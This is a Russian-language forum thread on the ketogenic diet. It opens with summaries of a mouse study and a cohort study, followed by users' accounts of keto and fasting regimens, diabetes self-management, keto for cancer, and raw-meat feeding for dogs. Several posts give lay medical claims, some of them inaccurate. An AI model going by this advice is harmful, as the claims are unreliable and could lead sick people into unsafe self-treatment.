Однако новое исследование, проведенное Высшей технической школой Цюриха (ETH Zurich) совместно с Детской университетской больницей Цюриха (University Children's Hospital Zurich), опубликованное в The Journal of Physiology, показывает, что кетогенная диета может повысить риск получения диабета 2-го типа. В настоящее время диабет 2-го типа поражает миллионы людей во всем мире, эту болезнь связывают с нездоровым питанием, в котором содержится много жиров и углеводов, а также сидячим образом жизни при отсутствии физической активности. Происходит медленное снижение чувствительности к инсулину, в конечном итоге выработка инсулина из бета-клеток поджелудочной железы не отвечает потребностям организма, развивается непереносимость глюкозы и диабет 2-го типа. Ученые сравнили влияние на толерантность к глюкозе и чувствительность к инсулину двух типов питания – диеты с высоким содержанием жиров и углеводов и кетогенной диеты – на метаболически здоровых лабораторных мышах. Они обнаружили, что животные на кетогенной диете вскоре проявили симптомы снижения толерантности к глюкозе, что является ключевой особенностью диабета 2-го типа. Причем нарушение толерантности к глюкозе среди мышей на кетогенной диете оказалось выше, чем у мышей из другой группы. Инсулин выделяется в крови и используется для контроля уровня сахара в крови, в частности, сигнализируя печени о необходимости прекращения выработки сахара. Если эта система нарушается, организм начинает неправильно использовать инсулин (т. н. резистентность к инсулину), уровень сахара в крови повышается. Согласно данным исследования, при кетогенной диете этот процесс контроля уровня сахара в крови не работает должным образом, и в печени вырабатывается резистентность к инсулину. Когда печень неспособна реагировать на нормальные уровни инсулина для контроля уровня сахара в крови, возникает повышенный риск возникновения диабета 2-го типа. Кристиан Вольфрум (Christian Wolfrum), доктор философии, адъюнкт-профессор, один из авторов исследования рассказывает: «Диабет – одна из самых больших проблем со здоровьем, с которой мы сталкиваемся. Хотя кетогенные диеты считаются здоровыми, наши данные показывают, что при таком типе диеты существует повышенный риск резистентности к инсулину, который может привести к диабету 2-го типа. Следующим шагом будет попытка определить механизм этого эффекта и решить, является ли это физиологической адаптацией». Находясь на кетогенной диете, организм использует энергию после распада жирных кислот, а не углеводов. Гипотеза исследователей заключается в том, что продукты распада жирных кислот могут подавать мозгу измененный сигнал, и это становится основной причиной нарушения толерантности к глюкозе. |
Re: Кетогенная диета может спровоцировать диабет 2-го типа
В моем случае только голодание и кетогенная диета позволяет снизить инсулинрезистентность, существенно уменьшить объем сахароснижающих препаратов. Я ем овощи (грамм 250-300 в день), фрукты (ягоды) по сезону, творог, сметану, яйца, курицу (все домашнее), кету, оливковое масло, сыр, авокадо. Никаких БЖУ и калорий не считаю. Ем в 9-00 и 16-00. Иногда перекус. Тут еще 17 часов интервального голодания!
|
Низкоуглеводная диета может сокращать жизнь на четыре года
Низкоуглеводные диеты становятся все более популярными – считается, что они не только хороши для снижения веса, но и уменьшают риск возникновения некоторых заболеваний. Однако проведенное в США исследование показывает, что более здоровым является умеренное потребление углеводов или переключение с мяса на растительные белки и жиры.
Участниками исследования, опубликованногов The Lancet Public Health, были 15 400 человек в возрасте 45-64 лет, которые заполнили анкеты по потреблению ими пищи и напитках вместе с размерами порций. Исходя из этого, ученые подсчитали долю калорий, получаемых из углеводов, жиров и белка. Наблюдения в течение 25 лет позволили исследователям обнаружить, что получение 50-55% энергии из углеводов (умеренное потребление в соответствии с рекомендациями по питанию) снижало риск смерти по сравнению с низким или высоким потреблением углеводов. К углеводам относятся овощи, фрукты и сахар, но основным их источником являются крахмалистые продукты – картофель, хлеб, рис, макаронные изделия и крупы. При их умеренном потреблении ожидаемое количество лет жизни составило (в среднем) 83 года. Это было: на 4 года больше, чем у людей, получавших 30% или меньше энергии от углеводов (очень низкое содержание углеводов); на 2,3 года больше, чем 30-40% (низкоуглеводная группа); на 1,1 года больше, чем 65% или более (высокоуглеводная группа). Полученные результаты были аналогичны результатам предыдущих исследований, с которыми ученые сопоставили свои наблюдения (свыше 400 000 человек из более, чем 20 стран). Кроме того, ученые сравнили низкоуглеводные диеты, богатые животными белками и жирами, с теми, которые содержали множество растительных белков и жиров. Они обнаружили, что употребление большего количества говядины, баранины, свинины, курицы и сыра вместо углеводов несколько повышало риск смерти. Замена же углеводов на растительные белки и жиры (бобовые и орехи) приводила к противоположному результату – несколько снижала этот риск. Доктор Сара Сейдельманн (Sara Seidelmann), врач и научный сотрудник в области сердечно-сосудистой медицины из бостонской Женской больницы Бригхэма (Brighamand Women’s Hospital), возглавлявшая исследование,рассказала: «Низкоуглеводные диеты, в которых заменяют углеводы белками или жирами, набирают повсеместную популярность как стратегия здоровья и потери веса. Однако наши данные свидетельствуют, что низкоуглеводные диеты на основе пищи животного происхождения, которые распространены в Северной Америке и Европе, могут быть связаны с более короткой продолжительностью жизни и не должны быть рекомендованы. Вместо этого, если кто-то выбирает следовать диете с низким содержанием углеводов, то замена углеводов на большее количество растительных жиров и белков может на самом деле способствовать здоровому старению в долгосрочной перспективе». Авторы предполагают, что диеты «западного типа» с ограниченными углеводами часто приводят к снижению потребления овощей, фруктов, зерновых продуктов и, соответственно, к увеличению потребления животных белков и жиров, которые связаны с воспалением и старением в организме. Однако исследование имеет ряд ограничений. Выводы показывают ассоциации наблюдений, а не причинно-следственные связи; кроме того, рацион, основанный на данных самоотчетов, может быть неточным. А поскольку диеты измерялись только в начале испытаний и шесть лет спустя, диетические модели могли измениться в течение последующих 19 лет. |
Re: Кетогенная диета
|
Re: Кетогенная диета
Цитата:
|
Re: Кето-диета после сыроедения
Интересует тема кетогенной диеты в сыроедном варианте. Есть у кого такой опыт?
|
Re: Кето-диета после сыроедения
Есть такая программа Fatsecret очень удобно подсчитывать калории и БЖУ.
|
Re: Кето-диета после сыроедения
Цитата:
Яйца, но только желтки (в СЫРЫХ белках яиц есть антивитамин блокирующий в организме усвоение витамина Б6 - Природа побеспкоилась, чтобы никто безнаказанно не поедал яйца:-)) Регулировка работы кишечника - соотношением жиров-белков. если есть "уклон" на запор - добавляем жиров. Как сказал "Медведь" - одна из икон безуглеводки - "мало жиров - запор, много - нормальная работа кишечника" проверено в том числе и моим опытом. Ну как то так..... зы Особый нажим на говядину и вообще - мясо травоядных. Так как в силу того, что у них в пищеварении "работает бактериальная фабрика" в первом желудке (первый из 4) то эти бактерии снабжают их всеми витаминами, которые мы и получаем поедая их мясо, печень, сердце и тд. Ну и разумеется молоко и все его производные, которые благодаря дополнительной работе уже внешних бактерий - становятся еще более витаминными для нас |
Re: Кето-диета после сыроедения
мясо в сыром виде или вяленое (как сушеная рыба)? Молоко на кето не подходит, там сахара много. Жирная сметана, сливки, сыр -норм. Как было по самочувствию? Сейчас как питаетесь?
|
Re: Кетогенная диета может спровоцировать диабет 2-го типа
Иван61
Скажите, а вы не пробовали выход из голода с использованием принципов кето? Я второй год на кето, думали, что и с голодовками завяжу, ан нет, села на две недельки. Где-то видела про выход на бульёнах, но не найду никак.. |
Re: Кето-диета после сыроедения
Цитата:
|
Re: Кетогенная диета может спровоцировать диабет 2-го типа
Цитата:
|
Re: Кетогенная диета
Молочка задирает инсулин местами почище хлеба, зачем?
|
Re: Кетогенная диета
Здравствуйте форумчане!.
Немного теории что я для себя уяснил. 1. После 3 дней голода только на воде (без вообще чего либо) организм начинает кетогенез. То бишь сжигает жир и этот процесс длится столько сколько есть жира у индивидуума. 2. Но выход из гололания ( как мне щас надо) везде прописан на тех или иных углеводных продуктах (овощные фруктовые соки и тп.) 3. Вопрос - как им образом нужно выйти из голода чтобы процесс питания организма продрлажся ща счет жира (то есть чтобы процесс расщепления накопленного жира продолжался и во время выхода)?. Или по другому сформулирвть - что жрать на выходе чтобы инсулин резко не возрос и не нарушил тем самым процесс дальнейшего расщепления жира. |
Re: Кетогенная диета
Есть отечественная школа голодания, где зачем-то стремятся сразу вырубить кетоз - тут углеводы служат именно этой цели. Если вы на кетозе, то и ешьте свою кето-еду дальше.
|
Re: Кетогенная диета
Продукты хорошие, но зачем в таких количествах. 100 г. сала и 100 г. масла-это уже 1700 ккал.......а ак же зелень? На кетодиете - самое то, я граммов 120 салата, укроп, петрушка, кинза---грам 200 в сумме и все свое, даже зимой из своей теплицы:bulbool:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Возможно и жировое веганство, ну,например, 1 кг огурцов, 50 г. зелени.....больше и не съесть. Это 20 граамов чистых углеводов и еще 2 г. Итого 22 г. углей. 11 г. белка. Добавляем 50 г. грецких орехов. Еще 7-8 г. белка, 30 г. жира, 5 г. углей. Итого: 19-30-27. Добавим 30 г. качественного оливкового масла, 10 г. кокосового. Еще 40 г. жира. Имеем 19-70-27. 814 ккал. По процентам 9,3-77,5-13,2 на кето не тянет. Можно еще 10 кокосового добавить масла. Будет ближе к кето.
Как разгрузочная сыроедческо-веганская диета иногда,........ постоянно? Все-таки мало белка, но может и достаточно. А если чередовать день так, а день с творогом дополнительно (200 г 9%). 1224 ккал и белка 41 г. углей 31 г. Тут уже 13,3%-76,6%-10,1%. Вполне кето....почти.....плюсы: низкая калорийность (малоедение умеренное), белка побольше......нет мяса и яиц, рыбы, то бишь плоти.....можно и 300 г. творога. Будет 16,4%-74.7%-8,9% и 1400 ккал. Имеем лактовегетарианскую кетодиету. Чтобы огурцы и зелень влезали получше.....смузи с добавкой творога. Я на кетодиете малоедческой, но могу и сметану, яцо всмятку, печень трески, мясо почти не ем, ел сало...подзавязал и при этом 15%-81%-4%, сейчас белка меньше 10%, подготовка к голоду! |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Кетогенная диета была, ей лечили эпиллепсия до открытия противосудорожных преппаратов, а также диабет 2 типа до открытия сахароснижающих преппаратов (бигуандиды и преппараты сульфамочевины). А инсулина на 2 тип не хватало, да и клицинисты понимали, что они и так "жирные", какой им инсулин. Использовалми термин "жесткая низкоуглеводная диета". Все просто, ломтик хлеба 15 г. и 3 огурца.....остальное мясо, яйца и др. (белковые продукты животного происхождения). Но в сути это была низкоуглеводная высокобелковая, без хвалы "жиров". И результаты были лучше, т.к. больные хорошо худели, что снижало уровень инсулинрезистентности. Когда появились преппараты все стало проще......че себя мучить диетами.....долбанул таблетку-две, пройдет время уколы инсулина подключим. Ныне уже в 30 лет диагноз ставят, поколению "бургеров". И эндокринологи не парятся....сразу сажают на инсулин (внешний), ведь при всех минусах, самое сильное сахароснижающее средство. Это глюкозоцентрическая концепция, а по гравицентрической, причина в ожирении, ведь ИМТ за 30, у меня было 34,7. И тут или жесткая диета на 4 месяца по 700 ккал в день.....или ушивание желудка, что технически просто (неинвазивная операция) и дает хороший результат. Ну, можно еще заболеть язвой......а так "неработающий инсулин" провоцирует процесс липолиза, да из-за того, что сахар в крови высокий, он есть. а клетки не усваивают, "волчий голод". В целом, не все так просто! КД при диабете 2 типа позволяет поставить уровень сахара под полный контроль, ну, 5-6, позволить снизить вес......также дает хороший эффект при психических и неврологических заболеваниях (это же имитация голодания), при ряде онкологий как диетотерапия. Пожалуй все. Недиабетикам 2 типа, не эпилептикам, болезнь там Паркинсона, раковым.....она не нужна. Люди забыли, что КД специализированная временная лечебная диета |
Re: Кетогенная диета
При таком развороте событий, тем более нет никаких претензий к отечественной школе. Я кстати внимательно читал Николаева и это о чем ты говоришь - выход на сыворотке прописан даже в его книге для конкретного узкого круга больных, хотя и мимоходом вскользь. Так этот круг лиц в большинстве своем должен голодать в клинике под присмотром врачей, и во всяком случае Ю.С. Николаев не обязан был идти тяпкой тундру тяпать, а как минимум книга бы не увидела свет в те времена, если бы он сильно уклонился от генеральной линии. Для врачебного пользования может он и побольше написал. Во всяком случае я свой ИМТ нормализовал сразу за одно голодание. Взял и похудел с 88,5 кг до 68 при росте 182. И выходил без всяких кето на соках и фруктах с овощами, но держал вес в пределах 72 еще 5 с лишним лет. Потом в 56 лет занялся гирями и начал сознательно набирать вес и то даже по истечении 13 лет я не достиг того веса 88,5 кг который был, а где то сейчас кружит в районе 82,5 кг. Так это уже другой вес, мышцы тяжелые, намного тяжелей жира, потому не грех и 88 кг набрать.
|
Re: Кетогенная диета
Цитата:
Диабетом они вообще не занимались. Узнали о возможности его лечения от Саркисяна на конференции. Он, собственно, и использовал кисломолочный выход в этом случае. Как говорил, Войтович, кризисов, включая и гипогликемии на голодании не бывает. Испробованно на себе. на 3 сутки сахар падает до 3.3 потом выходит на 5-5.5. Так и держится. Так и было в августе того года. А при 1 типе стали применять в США. Но из моего опыта, выход на соках плох, оптимум кисломолочный. Сыроедение пробовал. При кол-ве углеводов выше 100 г взлетают сахаара, от 50 до 100 "зловещая долина", ни то, ни се, или меньше 50 или больше, меньше 50 кетодиета, в сути, даже если и не есть ничего животного, просто организм будет есть свой жир. Ведь 50 - это 200 ккал, ну и 17-18 белка, то есть, 270 ккал. Никакие сухофрукты не катят, только овощи в идеале и никакой фруктозы. |
Re: Кетогенная диета может спровоцировать диабет 2-го типа
Цитата:
|
Re: Кетогенная диета
попробуйте Доктор Берг в ютьюбе =) там и кетоз и интервальное =)
|
Re: Кетогенная диета
[В кетодиете важно в первыую неделю не сорваться на углеводный жор, сам не раз срывался, за первые три дня уходит не только гликоген, но и др. животные сахара (вроде), потом глюконеогенез, в виде преобразования внутренних и внешних белков в глюкозу, вот тут-то резко повышается тяга к углям, это кетогрипп, потом через 7-9 дней, органон переключается на кетоз и становится легче, прям как летаешь, энергии море. Преодолет на мой взгляд, лучше через вход на жировом посту с ограничением и белка, и углей. И лучше недоедать, например 1600 ккал, 60 ккал угли или 15 г. Это 3.7%. Белков можно 20 г. Это 5% от калорийности. А остальное 162 г. жиры, оливковое масло, кокосовое, сметанна, сало.....это временно, до 15 дней, а потом переходим на классику....2000 ккал 25 г. углей, белка граммов 80, остальное жиры, если делаете силовые упражнения, можно и 120 г. белка.
Раньше после срываов входил через голодание, но теперь про себя понял, что после голодания в 12 дней, лучше 20 дней посыроедить, потом жировой пост для кетоза, хотя по логике на голодании кетоз, и через сыроедение вы ввовдите организм в глюкоз.....но....у вас будет дней 45 мало белка. а жиры можно начинать наращивать на сыроедении с растительных масел с ОМЕГА9 |
Re: Кетогенная диета
Почему на кето гликемическая нагрузка (ГН) (объем) важней количества углеводов.
Смотрите, кето (легкое) –это количество углеводов меньше 50. Но при одном и том же объеме углей ГН может быть разной. Первый вариант гипотетический: 1. 40 г. горького шоколада- 16 г. углей и 3,5 ГН. 2. Творог 200 г. 5 г. углей и 1,8 ГН. 3. Сметана 150 г. -4,8 углей и 2.8 ГН. 4. Капуста квашенная 200 г. – 7 г. углей и 1 ГН 5. Огурцы 200 г-5,6 углей-0,8 ГН Итого углей 38,4 г. Другой вариант. 1.Батон белый 25 г-13 углей, ГН-10 2. Яблоко 200 г-20 углей-7 ГН 3. Помидоры 150 г. -5,4 углей- 1 ГН В первом варианте ГН 9,9, во втором 18,9. А сколько надо? Адепты кето рекомендуют из углеводистых продуктов преимущественно зеленые овощи, у которых ГИ -15. В целом, меньше 25. Если брать 40 г. углеводов в день, то ГН не больше 10, а в идеале 7. Так что, вложившись в макросы по углеводам, можете не вложиться по ГН. Если есть овощи, жирную сметану, творог, мясо, рыбу, масла, сало…….то ГН будет за счет сметаны и творога, видно из примера выше, что будет 5,3 ГН. Еще пару яиц и ГН-6. Ну, и овощей полкило. И будет ГН 9. А если устранить молочку, некоторые адепты кето и на этом настаивают, то ГН 3, и на 4 единицы можно побаловать горьким шоколадом, съесть аж 45 граммов. Но мясо, сало, рыба северных пород, оливковое масло, яйца насытят организм, будет прилив настроения и быстроты мышления! Ну, так! ГН важней количества углеводов. Строгое кето до 5 ГН, среднее 5-7 ГН, от 7 до 10 ГН легкое кето. У меня сегодня 5,6 ГН, но тренировка в фитнесе была и ходьба 8,5 км. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Это вчерашний день, получается ПГ 7/17, где-то думается 18 г. углеводов. Калорий не знаю, не считал, избавился от этой дури последние месяцы. Одно вроде ненормально, овощей не ем, не считая квашенной тушенной капусты (со своего огорода), ну не лезут с рынка, силой что-ли запихивать? Хотя квашенная капуста 200 г. и фарша 100 г, насыщенная мясом солянка, тоже вроде овощи. ПГ, когда как? Когда 6/18, когда 7/17, иногда и ОМАД раз в сутки. Больше без заморочек, примерно так! Основа еды домашние яйца, творог и сметана из домашнего молока, яйца домашние, сыр швейцарский, свинина с рынка, говядина, курица (тоже домашняя), овощи свои квашенные и соленные по желанию. Масло сливочное забыл. Тоже домашнее. Вот сливки 20% покупные. Пью кофе утром и чай раз в день. Все крепкое, но со сливками. |
Re: Кетогенная диета
Хотел написать в своей теме, а ее, оказывается, закрыли.
Впрочем, здесь, пожалуй, уместней. Короче, у нас пропала собака. Мы живем в частном секторе, и она у нас на свободном выгуле. Тут это никого не смущает. Ушла-пришла, ничего страшного, хотя, на поводке ей гулять нравится гораздо больше. У меня жена и прежде мониторила собачьи сайты, помогала искать потеряшек, клеила объявления и т. д. Ну, и недели через три нашла нашу суку на сайте одной из передержек, созвонилась, договорилась и отправилась забирать. Там она пообщалась с кинологом, женщиной пенсионного возраста, которая всю жизнь работает с собаками. Каждую, которая поступает, они описывают. Нашей поставили возраст 3 года. Когда жена сказала, что ей 11 лет, кинолог от удивления открыла рот. Она видела-перевидела тысячи собак и от силы могла ошибиться на год-два. Зубы в идеальном состоянии, язык, глаза, дыхание, шерсть -все в полном порядке, веселая, игривая. Они в нее все там просто влюбились. Кинолог садится в кресло, наша сука запрыгивает к ней на колени и начинает облизывать все ее лицо, шею, женщина даже не уклоняется, не отворачивается, тоже целуется с собачкой. И жена говорит, это вы не знаете, в каком состоянии мы ее взяли в возрасте 9 месяцев. У нее было недержание мочи, в моче следы крови, глаза слезились, сама вся дрожала. У нее что-то было то ли со связками, то ли с суставами, постоянно прыгала на трех ногах. Прежние хозяева от нее отказались, потому что у хозяйки на нее якобы была алергия. Теперь я обращаюсь к вам, дорогие коллеги, вы думаете, мы ее лечили? Ничуть не бывало. Я считаю, что если хищникам положено питаться сырой плотью, то и нечего мучить собак какими-то промышленными кормами. Мы и кормили ее мясом с костями. Постепенно и забыли обо всех ее проблемах со здоровьем. Но, когда я слушаю или читаю рекомендации, так называемых, специалистов, уши в трубочку заворачиваются. Сначала нужно кормить кормами, потом давать витамины, потому что корма не полноценные, следом за витаминами нужно принимать микроэлементы, потом нужно давать хондропротекторы, потому что у них страдают суставы и связки, потом необходимо принимать глистогонные средства, потому что собачка, не дай бог, что-нибудь на улице съест. И дальше пошло-поехало, успевай только крутиться между ветеринаром, аптекой и зоотоварами. То же самое, я думаю, и у людей. Чем проще и естественней рацион, тем полезнее для здоровья. И пусть мы все в пожилом возрасте будем веселыми и игривыми! |
| Текущее время: 10:43. Часовой пояс GMT +4. |
Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2025, vBulletin Solutions, Inc. Перевод: zCarot
Права на форум защищены авторскими правами